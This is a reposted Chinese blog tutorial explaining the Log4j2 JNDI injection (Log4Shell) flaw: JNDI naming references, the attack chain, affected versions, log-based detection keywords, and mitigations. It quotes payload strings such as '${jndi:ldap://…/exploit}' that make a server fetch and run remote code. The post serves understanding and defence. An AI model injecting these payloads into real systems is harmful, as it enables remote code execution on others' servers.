0


log4j漏洞详解

一.什么是log4j?

log4j全名就是(log for java),就是apache的一个开源的日志记录组件 ,它在Java项目中使用的比较广泛。

使用方法:

            1.pom引入依赖

            2.获取logger实例

            3.logger.info() debug() error() warn()...

优点:功能丰富,易于集成

二.排查log4j

哈哈,先来检查一下你们公司有没有log4j的漏洞,估计都是修复了,当时可是掀起血雨腥风啊

1.pom检查

2.可以通过日志中是否存在"jndi:ladp://"、"jndi:rmi://","dnslog.cn",等字符来看看有没有别人在搞你

3.检查日志中是否有相关堆栈报错,堆栈中是否有一些JndiLookup,LdapURLContext等与JNDI调用相关的堆栈信息。

三.什么是JNDI注入

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,举个例子:它就相当于的你的一个秘书,用了一些手段,你可以去指使他去干一些事情,这个手段就是lookup(),相当于你给秘书一个目标。

四.什么是命名应用(JNDI naming Reference)

先给这些名词简单说一下

Ldap:你可以将它理解为一个目标数据库。

然后这个命名引用就是:

1.在这个目标数据库(LDAP)中可以存储一个外部的资源,对应的Reference类

比如说HTTP服务的一个.class文件

2.如果JNDI客户端,在LDAP服务上找不到对应的资源,就会到指定的地址请求数据,如果是命名引用的,就会将这个文件下载到本地。

3.如果你下载的这个.class文件包含无参构造函数或者静态方法块,那么加载的时候他会自动执行

四.漏洞原理

首先先来看一下网络上流传最多的payload

${jndi:ldap://2lnhn2.ceye.io}

在java中最常用的日志框架是log4j2和logback,其中log4j2支持lookup功能(查找搜索),这也是一个非常强大的功能,设计之初的目的也是为了方便开发者调用,还支持输出系统环境变量等功能,这样极大的方便了开发者。但是安全问题往往就是因为“开发人员图快捷”引起的,毕竟设计者也是需要在安全性和用户体验之间做个平衡,但是如果只是打印日志的话没没有什么危害,但是,打印系统变量这种对系统而言构不成什么威胁。最终要的原因是log4j还支持JNDI协议。而且这个JNDI协议中还支持lookup()方法,那么这个漏洞就危害比较大了。

整个攻击链:

攻击者在漏洞点注入表达式如${jndi:ldap://xxx.xxx.xxx/exploit}---》然后log4j2支持lookup()方法----》log4j2支持JNDI------》 ldap/rmi 远程加载攻击者服务器上的class文件构建对象(LDAP/RMI中有个命名引用功能) -----》寻找本地的恶意代码并执行

漏洞条件

1.使用了log4j的组件,并且版本在2.x <= 2.14.1

2.JDK版本小于8u191,7u201,6u211

漏洞修复与防御

等你把上面看完了,你也就知道怎么去修复了,欢迎补充!!!

1.禁止用户请求参数出现攻击关键字

2.禁止Lookup下载远程文件(命名引用)

3.禁止log4j使用Lookup

4.禁止log4j的应用连接 外网

5.可以直接在log4j jar包中删除lookup (2.10以下)


本文转载自: https://blog.csdn.net/weixin_61638307/article/details/129476856
版权归原作者 安全路上的小白1 所有, 如有侵权,请联系我们删除。

“log4j漏洞详解”的评论:

还没有评论